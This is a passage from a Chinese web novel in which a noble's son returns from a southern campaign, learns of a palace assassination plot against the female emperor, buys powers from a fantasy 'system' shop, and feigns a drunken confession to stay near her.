同时,杀猪宰羊,犒赏三军!
军营中顿时弥漫着将士们兴高采烈的喧哗声,气氛比真正的庆功宴还要热烈百倍!
江撼岳亲自坐镇,监督发放饷银,看着士兵们领到饷银时那激动和感激的眼神,老怀大慰。
就在这时,一名亲兵匆匆来报:
“国公爷,营外有一名女子求见,自称姓冷,说是…说是世子爷的故人,特来寻世子爷。”
江撼岳脸上的笑容瞬间僵住,眉头拧成了一个疙瘩!
女子?故人?
难道就是凡儿昨晚‘借宿’的那位?
竟然还敢找上门来?
他顿时气不打一处来,黑着脸道:
“带她过来!老子倒要看看,是什么狐媚子,敢来军营重地!”
第111章 越来越有趣
不一会儿,亲兵引着一名女子走了过来。
江撼岳抬眼望去,只见那女子身穿一袭素雅青衣,身形窈窕,脸上罩着一层轻纱,看不清具体容貌。
但露出的额头光洁,眉眼如画,气质清冷中带着一丝英气。
最让江撼岳心惊的是,以此他宗师巅峰的修为,竟隐隐感觉到这女子体内蕴含着一股不弱的真气波动,至少是宗师初期!
不是普通女子!
江撼岳心中凛然,怒气稍敛,多了几分审视。
若真是风尘女子,绝无此等修为气质。
冷月寒走到近前,盈盈一福,声音恭敬:
“民女冷月寒,参见国公爷。冒昧来访,打扰国公爷了。”
江撼岳沉声问道:
“冷姑娘?你找犬子何事?”
语气虽缓,但威势犹在。
冷月寒不卑不亢,从容答道:
“回国公爷,民女昨夜遭歹人劫掠,流落荒野,幸得世子爷仗义相助,方能脱险,并赠银安身。世子爷大恩,民女无以为报,听闻世子爷在此,特来拜谢。
此外…民女略通武艺,粗识文字,愿投身军旅,效犬马之劳,以报世子爷救命之恩,亦为朝廷略尽绵力,还望国公爷成全。”
她这番话,既说明了与江凡相识的‘经过’,又表明来意是报恩和投军,合情合理。
江撼岳闻言,心中疑虑去了大半,眼神却变得有些复杂起来。
原来不是来纠缠的,反而是来报恩投军的?
再看此女谈吐不凡,修为不俗,若真能收为己用,倒是一大助力。
而且…凡儿这小子,眼光倒是不差!
这冷姑娘,虽未见全貌,但观其气度,绝非池中之物!
若她真心追随凡儿,将来或许能成为凡儿的一大臂助!
自己这国公府,人丁单薄,若凡儿能多纳几房有本事的妾室,开枝散叶,倒也是美事一桩…
想到这里,江撼岳的脸色彻底缓和下来,甚至露出一丝和蔼笑容:
“原来如此!冷姑娘不必多礼!凡儿顽劣,能路见不平,倒是难得。姑娘既有此心,老夫岂有不成全之理?来人,带冷姑娘去见世子爷!好生安置!”
“谢国公爷!”
冷月寒再次行礼,心中松了口气,在亲兵引领下,朝着江凡的营帐走去。
看着冷月寒离去的背影,江撼岳抚须沉吟,眼中闪过一抹精光。
这小子…身边突然冒出个宗师修为的红颜知己…
看来,自己这儿子,秘密还真不少啊!
傍晚时分,军饷发放完毕,军营中依旧洋溢着喜庆的气氛。
江撼岳处理完军务,回到帅帐,却见江凡已在帐内等候。
“爹,军饷已发,叛首已擒,南疆大局已定。孩儿…想尽快启程回京。”
江凡开门见山地说道。
江撼岳一愣:
“这么快?不多留几日?将士们还想好好谢谢你呢。”
江凡摇摇头,脸上露出一丝担忧:
“爹,南疆之事已了,但京城…未必安稳。姐姐一人在家,孩儿实在放心不下。况且,靖王此次阴谋败露,损兵折将,绝不会善罢甘休。孩儿早些回去,也好见机行事。”
听到儿子提及京城的暗流和女儿的安危,江撼岳的神色也凝重起来。
他点了点头,沉声道:
“你说得对。京城才是龙潭虎穴!靖王老奸巨猾,此次虽断其一臂,但其根基未损,又有免死金牌护身,必定会疯狂反扑!
你回去之后,万事小心!没有十足把握,切不可与之正面冲突!一切…等爹回京之后,再从长计议!”
他拍了拍儿子的肩膀,眼中满是叮嘱和期许,
“凡儿,你已今非昔比,爹…相信你能处理好!”
“孩儿明白!爹您也保重身体,早日凯旋!”
江凡郑重应道。
吃完午饭,镇南关外。
江凡、两位皇宫供奉,以及新加入的冷月寒,四人四骑,已整装待发。
江撼岳率领一众将领,亲自送至关外。
“凡儿,一路保重!”
“爹,保重!诸位将军,后会有期!”
江凡抱拳行礼,深深看了一眼父亲和这片他奋战过的土地,一拉缰绳,骏马嘶鸣,绝尘而去。
冷月寒紧随其后,美眸始终落在前方那道挺拔的背影上,目光坚定而炽热。
望着儿子远去的背影,江撼岳心中感
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慨万千。
这一次南疆之行,这个曾经让他头疼不已的纨绔儿子,带给了他太多的惊喜和震撼。
修为、胆识、谋略…仿佛一夜之间,雏鹰已展翅,即将翱翔于九天之上!
“回营!”江撼岳收回目光,虎躯挺直,声音洪亮,
“加紧操练,谨防南蛮反扑!待陛下旨意一到,即刻押解叛首,班师回朝!”
“是!国公爷!”
……
与此同时,数千里之外的紫宸宫。
女帝萧璇月刚刚批阅完一份来自南疆的捷报,心情稍微放松。
她放下朱笔,习惯性地伸手探向枕边,果然又触摸到了那本熟悉的书册。
她拿起最新一期的《深宫秘恋》,缓缓翻开。
当看到书中关于‘叛军财宝遭神罚转移至凶宅’的‘预言’时,她凤眸骤然收缩,霍然起身!
“逍遥公子…他连远在南疆的事情都能了如指掌?!这…这怎么可能?!”
她心中掀起了惊涛骇浪!
如果说之前的话本还能用消息灵通、推理精准来解释。
那么这次,相隔**,事发突然,他是如何未卜先知,甚至能‘预言’财宝的精确藏匿地点?
这已经超出了‘人’的范畴!
一个荒谬念头再次不受控制地冒了出来:江凡…他刚到南疆,这话本的内容就紧随而至…难道…真的只是巧合?
她立刻压下这个念头,强迫自己冷静,迅速下达一连串命令:
“云暮!速传暗卫,八百里加急,将此话本内容抄送南疆镇国公大营!提醒他立刻按图索骥,搜寻财宝,务必确保万无一失!”
“传旨兵部、户部,南疆大捷,叛首已擒,着即议定封赏章程!边军粮饷,优先拨付,不得有误!”
“加派人手,给朕盯紧靖王府!有任何异动,即刻来报!”
一道道指令发出,整个皇宫再次高效运转起来。
萧璇月走到巨大的疆域图前,目光落在南疆镇南关的位置,凤眸之中,充满了前所未有的凝重、疑惑以及一丝期待。
江凡…逍遥公子…你们之间,到底藏着怎样的秘密?
这盘棋,真是越来越有趣了…
第112章 你怎么交代
此时的江凡几人,回京城倒是没有这么急,途中让马休息几次。
第二天傍晚,终于回到皇城。
镇国公府,听雨轩。
久别重逢的姐弟二人还未来得及多说几句体己话,江芷兰便发现了跟在弟弟身后、清冷气质与绝色姿容的冷月寒。
她一把将江凡拉到廊柱后,压低声音,美眸中满是惊疑和担忧:
“凡儿!这…这位姑娘是…?你从南疆带回来的?怎么回事?”
她上下打量着冷月寒,虽然对方低眉顺眼,但那不经意间流露出的沉稳气度,绝非普通女子。
江凡早知道姐姐会有此一问,脸上堆起无奈的笑容,低声道:
“姐,你别大惊小怪的。她叫冷月寒,是…是我在南疆偶然救下的一个落难女子,无亲无故的,怪可怜的。
我看她手脚麻利,又会些粗浅功夫,就带回来,给你当个贴身侍女,也好护你周全。你放心,她性子冷是冷了点,但人很可靠,修为…也还过得去,是宗师境。”
他轻描淡写地点出了冷月寒的修为,既是给姐姐吃定心丸,也是为冷月寒的‘不凡’做个铺垫。
“宗师境?!”
江芷兰倒吸一口凉气,美眸瞬间瞪圆,又偷偷瞟了一眼不远处静立如兰的冷月寒。
宗师高手当侍女?
自己这弟弟去了一趟南疆,不仅立下大功,修为暴涨,连拐带…不,是‘救’回来的侍女都是宗师?
这、这也太离谱了吧!
她压低声音,带着几分嗔怪:
“你…你小子可别胡来!宗师高手岂是能随意收为侍女的?还有,婉茹那边…你打算怎么交代?
她这两天可是天天往府里跑,变着法儿打听你的消息,对你可是真心实意的!你可不能辜负了人家!”
听到周婉如的名字,江凡脸瞬间垮了下来。
他揉了揉鼻子,苦笑道:
“姐,我的好姐姐!我跟周小姐…那都是爹和陛下乱点鸳鸯谱!我对她真没那个意思!至于冷姑娘…
真是她自己非要跟着报恩,我总不能见死不救吧?再说了,有个宗师在身边保护你,我也放心些不是?等爹回来,我再跟他好好说说…”
他赶紧把老爹搬出来当挡箭牌。
江芷兰见弟弟一副油盐不进的样子,又想到他如今已是宗师高手,行事自有主张。
自己这个做姐姐的似乎也管束不了太多,只得叹了口气,嗔怪地戳了戳他的额头:
“你呀!现在翅膀硬了,姐姐也说不动你了!总之,你自己心里有数就好!婉茹是个好姑娘,莫要伤了人家的心!
至于这位冷姑娘…既然带来了,就好生安置,莫要怠慢了。”
她终究是心疼弟弟,选择了信任和包容。
“知道啦姐!你最好了!”
江凡笑嘻嘻地应承下来,心中松了口气。
就在这时,府门外传来一阵喧哗,管家急匆匆来报:
“世子爷!大小姐!宫里边来人,说陛下有旨,宣世子爷即刻入宫觐见!”
江凡闻言,脸上的笑容顿时僵住,心里哀嚎一声:这劳碌命,刚回来屁股还没坐热呢!
他无奈地看了一眼姐姐,整理了一下衣袍,对冷月寒吩咐道:
“月寒,你暂且随我姐姐安排,熟悉一下府中环境。”
“是,公子。”
冷月寒微微躬身,语气却带着绝对的顺从。
江芷兰看着冷月寒那副对弟弟言听计从的模样,心中更是讶异,对弟弟的‘本事’又有了新的认识。
她柔声道:“凡儿,快去吧,别让陛下久等。月寒姑娘交给我便是。”
江凡点点头,深吸一口气,跟着传旨太监,再次踏上了前往皇宫的路。
一路上,他心中飞快盘算着女帝可能问及的问题,尤其是关于南疆之行的细节。
紫宸宫,御书房。
檀香袅袅,萧璇月端坐于御案之后,一身明黄常服。
她刚刚批阅完南疆送来的捷报和请功奏章,心情颇为复杂。
镇国公父子此次立下大功,尤其是江凡,生擒叛首、寻回巨额财宝,解了边军燃眉之急,功莫大焉。
但越是如此,她心中那个关于江凡与‘逍遥公子’的疑团就越是盘旋不去。
“臣江凡,参见陛下!陛下万岁万岁万万岁!”
江凡进殿,规规矩矩地行大礼。
“平身吧。”萧璇月声音平和,抬手虚扶,
“江爱卿一路辛苦。南疆之事,朕已悉知。你与镇国公此次力挽狂澜,生擒元凶,安定边疆,功在社稷,朕
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心甚慰。”
她先定了基调,予以肯定。
“陛下谬赞了!此乃臣子本分,全赖陛下洪福齐天,家父运筹帷幄,将士用命,臣不过略尽绵力,实在愧不敢当!”
江凡连忙躬身谦逊,一副不敢居功的忠臣模样。
萧璇月微微颔首,对他的谦逊态度似乎颇为满意,话锋却是一转:
“嗯。不过…朕听闻,叛军搜刮的那批巨额财宝,竟是被‘逍遥公子’话本预言,出现在一座凶宅之中?
此事...颇为蹊跷。爱卿当时在场,可知其中详情?那财宝…当真是凭空出现?”
她凤眸微眯,紧紧盯住江凡的脸,不放过他任何一丝细微的表情变化。
江凡心中早有准备,脸上露出惊奇和感慨,回答道:
“回陛下!此事确实神乎其神!臣当时亦觉难以置信!但那宅院后院,臣与家父是亲眼所见,财宝粮草堆积如山,绝非虚言!
至于逍遥公子是如何出现的…臣愚钝,实在百思不得其解!或许…逍遥公子学究天人,能窥得天机,亦未可知?”
他将功劳完美地推给了神龙见首不见尾的‘逍遥公子’,自己则扮演一个幸运的‘见证者’。
萧璇月静静地听着,看不出是信还是不信。
她沉默片刻,忽然又问道:
“朕还听闻…爱卿此次回京,并非独自一人?还带回了一位…姑娘?”
她的语气平淡,却带着探究意味。
江凡心里咯噔一下,脸上立刻堆起那种纨绔子弟特有的的笑容,搓着手道:
“陛下圣明!真是…什么都瞒不过陛下您呐!臣在南疆时,偶然救了位落难的冷姑娘,她无家可归,又对臣…呃…一见倾心。
她要死要活,非要跟着臣报恩!臣看她可怜,又有几分姿色,修为也还过得去,就…就勉为其难,带她回来了。嘿嘿…”
他一边说,一边故意做出些小动作,显得轻浮又真实,将一个‘走了桃花运的纨绔’形象演绎得淋漓尽致。
“一见倾心?勉为其难?”
萧璇月重复着这两个词,凤眸中闪过一丝不悦。
不知道为什么,心里总有些不是滋味。
这家伙一心想跟周婉如退婚,还以为他不近女色呢,结果...
第113章 我的香囊呢
萧璇月柳眉微蹙。
这小子,明明已是宗师高手,心智手段远超常人,却偏要摆出这副浪荡模样,是本性难移,还是…刻意伪装?
再联想到江凡前往南疆期间,《深宫秘恋》的更新内容恰好都与南疆局势紧密相关,甚至精准预言了财宝下落!
而他一回来,身边就多了一个来历不明、却拥有宗师修为的绝色女子!
这真的只是巧合吗?
这个冷月寒…会不会与逍遥公子有关?
或者…她本身就是逍遥公子派来的人?
女帝心中疑窦丛生,看向江凡的目光更加深邃。
“江爱卿,”萧璇月的声音依旧平稳,却带着一丝压迫感,
“你如今身为宗师,又立下大功,当知轻重。周家小姐温婉贤淑,与你早有婚约,莫要因些…来历不明的女子,伤了周小姐的心,也损了朝廷体面。”
她这话,既是提醒,也是警告。
江凡心中暗凛,连忙收起嬉皮笑脸,正色道:
“陛下教诲的是!臣谨记于心!只是冷姑娘她…唉,性子执拗,臣也是不忍见她流落街头…陛下放心,臣自有分寸,断不会做出有辱门风、辜负圣恩之事!”
他这话说得滴水不漏,既表了忠心,又为冷月寒的存在找了个‘合情合理’的借口。
萧璇月翻了个白眼,一个宗师高手能流落街头?
要么接近江凡是别有用心,要么...江凡还有什么自己不知道的过人之处。
但江凡表情‘诚恳’,毫无破绽。
她心中冷哼一声,不再纠缠此事,转而道:
“罢了,你的私事,朕本不该过多干涉。只是望你好自为之。南疆已平,叛首不日将押解回京。
你此次立下大功,朕定当**行赏。至于赏赐何物…容朕思量。你且先回府好生歇息,随时听宣。”
“臣,谢主隆恩!陛下万岁万岁万万岁!”
江凡如蒙大赦,连忙行礼告退。
看着江凡‘落荒而逃’的背影,萧璇月轻轻敲了敲御案,低声道:
“云暮。”
“奴婢在。”云暮悄无声息地出现。
“去查一查那个冷月寒的底细。越详细越好。还有…加派人手,给朕盯紧江凡!朕倒要看看,他这‘纨绔’的皮下面,到底藏着多少秘密!”
凤眸之中,精光闪烁。
她说话间看向来自南疆传来的情报,江凡孤身追击叛军,然后叛军的钱财粮草都被神秘人偷走...
逍遥公子的话本提示...
虽然江凡嫌疑很大,但之前在宫里被严密监视,根本没时间更新。
可他不是逍遥公子的话,为什么又总是和逍遥公子产生莫名联系?
事情越发扑朔迷离,让她想不通哪里出了问题。
“是!陛下!”
云暮立即领命退下,同样对江凡感觉好奇。
而此刻,走出宫门的江凡,只觉得身心俱疲。
女帝那双仿佛能洞悉一切的风眸,让他心中五味杂陈。
‘纨绔’这层保护色褪去,接下来更没有清闲日子。
再加上那个对自己‘情根深种’的周婉如,时不时就来府上‘探望’,言语间满是关切和期待,让他头皮发麻。
这京城,真是片刻不得安宁!
“不行,得出去透透气,再待下去非得憋疯不可!”
江凡决定暂时逃避这令人烦恼的现状。
去哪里?
自然是老地方——百花楼!
喝喝花酒,听听小曲,假装自己还是那个无忧无虑的败家子,或许能暂时麻痹一下紧绷的神经。
想到就做。
他回府换上一身骚包的锦缎华服,摇着折扇,摆出那副标准的纨绔架势,大摇大摆地前往百花楼。
百花楼前车水马龙,莺歌燕语不绝于耳。
老鸨眼尖,老远就看到了这位‘财神爷’,脸上瞬间堆满了谄媚的笑容,扭着水蛇腰就迎了上来:
“哎哟喂!我的江世子爷!您可有些日子没来了!可想死妈妈我了!快快快,里面请!最好的雅间给您留着呢!”
江凡随手抛过去一锭银子,懒洋洋地道:
“少废话,好酒好菜送来。”
“世子爷里面请!”
老鸨接过银子,笑得见牙不见眼,连忙在前引路。
听雨阁内,熏香袅袅,环境清雅。
江凡刚坐下没多久,珠帘轻响,一道窈窕的身影便端着精致的点心款步而入
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。
正是百花楼的花魁,柳絮。
她今日穿着一身淡紫色的曳地长裙,略施粉黛,眉如远山,目似秋水,气质清冷中,与这烟花之地的喧嚣格格不入。
“世子爷万福。”
柳絮盈盈一礼,声音清脆悦耳。
她将点心轻轻放在江凡面前的小几上,然后很自然地在他身旁坐下,执起酒壶,为他斟满一杯琥珀色的美酒。
江凡有些不自在,这花魁心高气傲的,怎么会主动找自己?
“柳大家不必多礼。”
江凡接过酒杯,想起周婉如和冷月寒,顿时有些不自然。
于是连忙正襟危坐,丝毫没有纨绔的样子。
柳絮美眸中闪过一丝黯然,但很快便恢复了平静。
她浅笑道:
“世子爷许久不来,可是忘了奴家这陋室清茶了?”
“哪里哪里,俗务缠身,身不由己啊。”
江凡打着哈哈,抿了一口酒,试图掩饰尴尬。
于是随便找了个借口问道:
“柳大家怎的这么清闲?外面多少王孙贵胄想见你一面都难,你怎么会找我这个纨绔?”
柳絮笑着说道:“江世子可不是什么纨绔,否则见到我也不会这么规矩。”
江凡顿时有些尴尬,这话说的,总不能让自己动手动脚吧?
见他不说话,柳絮突然转移话筒问道:
“世子今日怎的没有佩戴香囊?”
她发现送给江凡的香囊味道没了,于是顺口问了一句。
江凡以为问的是周婉如送的,于是下意识地摸了摸腰间,却摸了个空。
“咦?我的香囊呢?”
他嘀咕了一句:“应该是去南疆的时候丢了,不过没事,回去让我姐姐给我再做一个。”
柳絮闻言,展颜笑道:
“世子爷无需麻烦令姐,奴家近日正好绣了一个新的,世子爷若是不嫌弃,便收下吧。”
说着,她从袖中取出一个天青色缎面、绣着几枝傲雪寒梅的香囊,递到江凡面前。
香囊做工极其精致,散发着一种清冷沁人的独特香气。
江凡不好推辞,只得接过,道了声谢:
“柳大家有心了。”
随手揣进了怀里。
第114章 四季堂成员
柳絮见他收下,眼中笑意更深了几分,转而问道:
“听闻世子爷此次前往南疆,立下赫赫战功,生擒叛首,寻回巨额军饷,如今已是京城人人称颂的少年英雄了。奴家在此,恭喜世子爷了。”
她话语真诚,带着钦佩。
江凡心中却是一凛!
百花楼消息再灵通,也不可能这么快就知道他‘生擒叛首’这种军方尚未公开详情的战功吧?
除非…有特殊的情报来源!
他脸上不动声色,依旧摆出纨绔的样子,摆摆手道:
“什么英雄狗熊的,不过是运气好,捡了个现成便宜罢了。倒是柳大家消息灵通啊,这都知道?”
柳絮掩口轻笑,眼波流转:
“世子爷说笑了。我们这百花楼,迎来送往,三教九流,什么消息听不到?南疆大捷,叛首伏诛,这可是如今京城最炙手可热的谈资呢。”
她话说得轻描淡写,但江凡却从她眼中看到了一丝不同于寻常风尘女子的精明与深邃。
他心中一动,半开玩笑半试探地道:
“柳大家见识不凡,谈吐不俗,可不像寻常的花魁娘子。倒像是…某个神秘组织派来体验民间疾苦的大家闺秀?”
柳絮闻言,非但没有惊慌,反而嫣然一笑,大大方方地承认了:
“世子爷好眼力。既然被您看出来了,奴家也不瞒您。奴家确是‘四季堂’的人,而且…是核心成员。”
她语气平淡,仿佛在说一件微不足道的小事。
“四季堂?!”
江凡心中巨震!
那可是天下最神秘、势力最庞大的情报组织之一!
传闻其触角遍及各国,知晓无数隐秘!
百花楼的花魁,竟然是四季堂的核心成员?!
这消息太过惊人!
他强压下心中的波澜,故作惊讶道:
“原来是四季堂的高人!失敬失敬!难怪柳大家如此气度!”
柳絮微微一笑,意味深长地看着江凡:
“世子爷何必自谦?您能在我四季堂眼皮底下,‘纨绔’这么多年,这份心性和本事,才真是令人…叹为观止呢。”
她的话带着明显的暗示。
江凡心中警铃大作,面上却打着哈哈:
“柳大家说笑了,本世子那是真纨绔,可不是装的!”
他赶紧转移话题,
“既然柳大家是四季堂的人,那消息定然灵通。不知…可曾听闻过‘逍遥公子’的些许风声?此人神龙见首不见尾,在下好奇得紧。”
柳絮摇摇头,眼中露出一丝恰到好处的遗憾:
“逍遥公子行踪诡秘,才华盖世,我四季堂虽多方打探,却也只知其与朝堂、江湖皆有牵连。
每每出手必石破天惊,但其**…至今仍是个谜。或许,只有天知地知,他本人知了。”
她说着,目光若有深意地扫过江凡。
江凡心中稍安,看来四季堂也没查到自己头上。
他正要松口气,却听柳絮话锋一转,语气变得凝重起来:
“不过…关于世子爷您,奴家这里倒有一个未经证实、但极其紧要的消息,不知…当讲不当讲?”
江凡心中一动,知道重头戏来了!
他立刻正色道:
“柳大家但说无妨!无论消息真假,今日之言,出你之口,入我之耳,绝不会有第三人知晓!江凡在此立誓!”
他意识到,柳絮透露四季堂的身份,又主动提及重要消息,绝非无的放矢。
柳絮看了看左右,确认无人偷听,这才凑近江凡,一字一句地道:
“据我堂绝密线报,靖王…已不惜血本,重金聘请到一位起码大宗师巅峰境界、且极其擅长易容匿息之术的绝顶高手!
此人…已于三日前,成功混入皇宫大内!其目标…直指…当今女帝!”
“什么?!”
纵然江凡早有心理准备,听到这个消息,仍是惊得差点从椅子上跳起来!
大宗师巅峰!
擅长易容!
已潜入皇宫!
目标女帝!
这每一条信息,都让他坐立不安!
靖王...这是要狗急跳墙,行刺驾之实!
一旦女帝遇害,皇室无嗣,手握重兵、身为皇叔的靖王,确有极大可能篡位成功!
到那时,与靖王早已势同水火的镇国公府,必将面临灭顶之灾!
冷汗,瞬间浸湿了江凡的后背!
他死死盯着柳絮:
“消息…可靠吗?!”
柳絮神色凝重:
“线报来源极其隐秘,且对方行动谨慎,我堂亦无法完全确认。但宁可信其有,不可信其无
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!此事关乎国本,亦关乎世子爷身家性命。
奴家思虑再三,还是觉得应该告知世子爷。如何决断,全在世子爷一念之间。只是…消息来源,请恕奴家无法透露。”
她眼中带着真诚的担忧。
江凡深吸一口气,强行压下心中的惊涛骇浪。
柳絮没有理由骗他!
四季堂的情报,向来以精准著称!
此事,十有**是真的!
他站起身,对着柳絮深深一揖:
“柳大家今日之言,于江凡,于镇国公府,恩同再造!此情江凡铭记于心,日后必有厚报!”
柳絮连忙侧身避过,柔声道:
“世子爷言重了。奴家也不希望看到京城生灵涂炭,更不希望看到世子爷…卷入无妄之灾。”
她话语中带着一丝莫名的情愫。
江凡此刻心乱如麻,也顾不得细品,匆匆道:
“事态紧急,江某需立刻回府部署!就此别过!柳大家,保重!”
说完,他不再停留,转身大步离去,身影迅速消失在楼梯拐角。
柳絮独自站在窗前,望着江凡匆匆离去的背影,美眸中神色复杂。
她低声喃喃:“江凡…逍遥公子…我能帮你的,只有这么多了。接下来的**,望你…能安然度过。”
……
江凡几乎是飞奔着回到镇国公府的。
他一头扎进听雨轩,反手锁上房门,心脏仍在砰砰狂跳!
大宗师巅峰!
潜入皇宫!
刺杀女帝!
任何一个词都足以掀起滔天巨浪!
怎么办?!
如何应对?!
立刻用话本预警?
不行!
话本是随机投放的,女帝能看到,靖王和那个刺客同样能看到!
一旦打草惊蛇,刺客隐匿更深,或者提前发动,后果不堪设想!
而且,话本预警需要合理解释信息来源,极易暴露自己!
直接进宫面圣,告知女帝?
可消息来源如何解释?
说是四季堂花魁透露的?
女帝会信吗?
就算信了,如何找出那个易容高手?
皇宫大内,守卫森严,女帝身边还有供奉保护,对方敢潜入,必有万全之策!
贸然告知,反而可能让女帝陷入更危险的境地!
第115章 酒后吐真言
江凡此时感觉头大。
靠自己?
他如今只是宗师中期,就算底牌尽出,面对大宗师巅峰的刺杀,也根本无力阻止!
上去就是送死!
巨大的无力感和紧迫感让他通体发寒!
他第一次如此清晰地感受到,在绝对的实力和阴谋面前,个人的智慧和系统外挂,显得如此苍白!
局势紧张,根本没有给他慢慢发育的时间。
“系统!”
江凡心中怒吼,意识沉入系统界面。
必须提升实力!必须要有保命的手段!
【当前人气值:486,500】
看着这几日累积到四十八万的人气值,江凡眼中闪过一丝狠色!
不够!
兑换宗师后期也无法抵挡一个大宗师巅峰!
但不能再等了!
他立即打开商城,开始查看,很快就选了几样**和物品:
“兑换!【不灭金身诀(天阶高级)】大成篇!”
【消耗人气值100,000点!】
“兑换!浮光掠影进阶身法‘幻影分身’!”
【消耗人气值80,000点!】
“兑换!【寂灭指(天阶高级)】终极杀招‘一指黄泉’!”
【消耗人气值70,000点!】
“兑换!一次性保命符箓【小挪移符】x3!”
【消耗人气值30,000点!】
“兑换!【敛息术(神级)】进阶篇‘化凡’!”
【消耗人气值50,000点!】
一连串的兑换,人气值锐减,只剩下十七万多点。
各种**奥义涌入脑海,身体肌肉记忆也在瞬间形成。
他的实力在短时间内再次暴涨!
虽然境界未提升,但实战能力和保命能力已不可同日而语!
最后,他的目光落在系统商城防御类物品栏最顶端的一件物品上——
【天蚕金丝软甲(极品防御服饰)】!
描述:可完全抵挡极道宗师初期高手全力一击!极道宗师以下攻击,可化解五成以上真气伤害!
兑换需人气值:100,000点!
保命神器!
江凡毫不犹豫:“兑换!”
【消耗人气值100,000点!天蚕金丝软甲已存入系统空间!】
一件薄如蝉翼、闪烁光芒的软甲出现在空间中。
江凡立刻将其取出,贴身穿上,软甲触体冰凉,随即与体温融为一体,仿佛不存在一般。
看着仅剩的七万多人气值,江凡叹了口气。
他想给父亲、姐姐、甚至周婉如和冷月寒都兑换一件,但人气值远远不够。
当务之急,是应对眼前的死局!
实力提升完毕,保命手段备齐,接下来,就是如何破局了!
用话本预警,会打草惊蛇。
唯一的办法,就是自己进入皇宫,悄悄提醒女帝,并设法找出那个刺客!
一旦被刺客注意,要么九死一生,要么被他逃脱!
赌一把!
江凡眼中闪过一丝决然!
女帝不能死!
至少现在不能!
她若**,靖王上台,自己和家族必死无疑!
保护女帝,就是保护自己!
而且,若能救驾有功,将是天大的护身符!
下定决心后,他立刻行动。
他先找到冷月寒,神色凝重地吩咐道:
“月寒,我有要事需立即入宫一趟,归期未定。我不在期间,你务必寸步不离地保护我姐姐!
若府中有任何异动,或收到我的特殊信号,立即带着我姐姐前往皇宫寻求庇护!切记!”
他交给冷月寒一枚特制的信号烟花,是系统兑换的。
冷月寒见江凡神色严肃,心知必有大事发生,毫不迟疑地单膝跪地:
“公子放心!月寒誓死保护大小姐周全!”
安排好家中,江凡回到房间,换上官服,将状态调整到最佳。
他看着窗外沉沉的夜色,深吸一口气。
皇宫大内,龙潭虎穴,大宗师巅峰的刺客…此行,凶多吉少!
但,他已无路可退!
夜色如墨,皇城肃穆。
“陛下!陛下!臣江凡…有要事求见!”
来到紫宸宫外,江凡不等内侍通传,便扯着嗓子,带着几分‘醉意’嚷嚷起来,还故意打了个酒嗝。
没错,作为纨绔,装醉惊扰女帝,能麻痹暗中的敌人,也符合他的纨绔身份。
值守宫门的侍卫和内侍面面相觑,一脸为难。
这位世子爷,真是越来越没规矩了!
深更半夜,一身酒气跑来惊驾?
就在这时,宫门‘吱呀’一声开了,女帝身边的心腹宫女云暮走了出来。
看到江凡这副模样,柳眉微蹙,但语气依旧平静:
“江世子,陛下已然安寝,有何要事,明日早朝再奏不迟。”
“不行!等…等不了明天了!”
江凡踉跄上前,一把抓住云暮的胳膊,眼神‘迷离’,
“云暮姑娘,帮帮忙!我…我有十万火
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急的事!必须…必须立刻面见陛下!”
他最后一句,压低了声音。
云暮眼中精光一闪,深深看了江凡一眼,沉吟片刻,道:
“世子稍候,容奴婢通禀。”
她转身进入殿内。
不多时,云暮去而复返,侧身让开:
“陛下宣世子进见。世子,请自重。”
江凡讪笑一下,深吸一口气,迈步走入御书房。
御书房内,烛火通明,萧璇月并未安寝,而是穿着一身简便的常服,外罩一件杏黄龙纹披风,正坐在御案后批阅奏章。
听到脚步声,她抬起头,凤眸清冷,落在江凡身上,带着一丝无奈:
“江爱卿,深夜入宫,衣衫不整,满身酒气,成何体统?”
她的声音平静,却自带威压,
“有何要事,速速奏来。若只是酒后胡言,休怪朕治你个大不敬之罪!”
江凡本想趁机传音提醒女帝,突然感受到好几股神识锁定了自己。
他心中一凛,也不知道这几道神识哪些是供奉的,哪个是刺客的。
不能暴露!
想到这,他脸上堆起‘委屈’的表情:
“陛下息怒!臣…臣万死!臣并非有意惊驾!实在是…实在是心中惶恐,辗转难眠,唯有面见陛下,方能心安啊!”
他一边说,一边偷偷抬眼观察女帝神色。
而神识探查出去,暂时没有发现神识的主人,他也不敢太明显,免得被发现。
萧璇月看着他这副作态,又好气又好笑,耐着性子道:
“哦?你惶恐什么?南疆叛首已擒,边军粮饷已发,你立下大功,朕还未及封赏,你倒先惶恐起来了?”
“臣…臣惶恐的,非是功赏,而是…而是...”
江凡抬起头看着女帝,有人在关注自己,那就不能明着提醒。
该怎么办?
他一咬牙,干脆豁出去了:
“陛下!实不相瞒,臣有些话平时不敢说,但现在借着酒劲,想跟陛下坦白...”
萧璇月感觉心跳加快,语气却保持平静:
“哦?爱卿想坦白什么?难道你就是逍遥公子?”
江凡搓着手,一副害羞的表情:
“陛下误会了,我怎么可能是逍遥公子那种奇人?我想坦白的是...陛下是我见过最美的女人,我一日不见如隔三秋,就连喝醉了,脑子里都是陛下的身影...”
萧璇月的俏脸瞬间通红,这混账东西是在表白吗?
还是酒后吐真言?
第116章 这是做什么
萧璇月心中有些慌乱,表面却不动声色,淡淡道:
“江爱卿,念在你酒后神志不清,朕就不治你大不敬的罪了,赶紧回去清醒清醒。”
“不行!”
江凡的目的是留在皇宫,怎么可能离开?
而探查自己的几道神识中,必然有一个是刺客的!
如果传音引起刺客警觉可不行,只能想办法先留在宫里。
他只能硬着头皮,继续说道:
“陛下!臣…臣对陛下的忠心,天地可鉴!自从进宫第一次得见天颜,臣…臣这颗心啊,就再也容不下他人了!
陛下励精图治,圣明烛照,乃千古明君!臣…臣虽不才,愿效犬马之劳,常伴陛下左右!
哪怕只是为陛下端茶送水,守夜站岗,臣也心甘情愿!只求…只求能离陛下近一些,亲眼看着陛下安然无恙,臣才能心安啊!”
这一番‘深情告白’,说得是情真意切、涕泪交加!
尤其是最后那句‘离陛下近一些’,更是点明了他最终目的——留在宫里!
萧璇月:“!!!”
她直接**凡这番石破天惊的表白给整懵了!
饶是她身为帝王,心志坚毅,此刻也不禁霞飞双颊,心跳漏了一拍!
这…这混账东西!
知不知道自己在说什么?
君臣之别,男女之防,他全都抛到脑后了吗?
竟敢…竟敢如此放肆!
她猛地一拍御案,站起身,凤眸含煞:
“江凡!你…你放肆!胡说八道些什么?!朕看你是真的喝多了!来人…”
“陛下!”
江凡不等她喊出‘拖下去’,猛地抬头,
“臣没有喝多!臣清醒得很!臣知道此言大逆不道!但臣控制不住这颗为您跳动的心!陛下若觉臣狂妄,要杀要剐,臣绝无怨言!
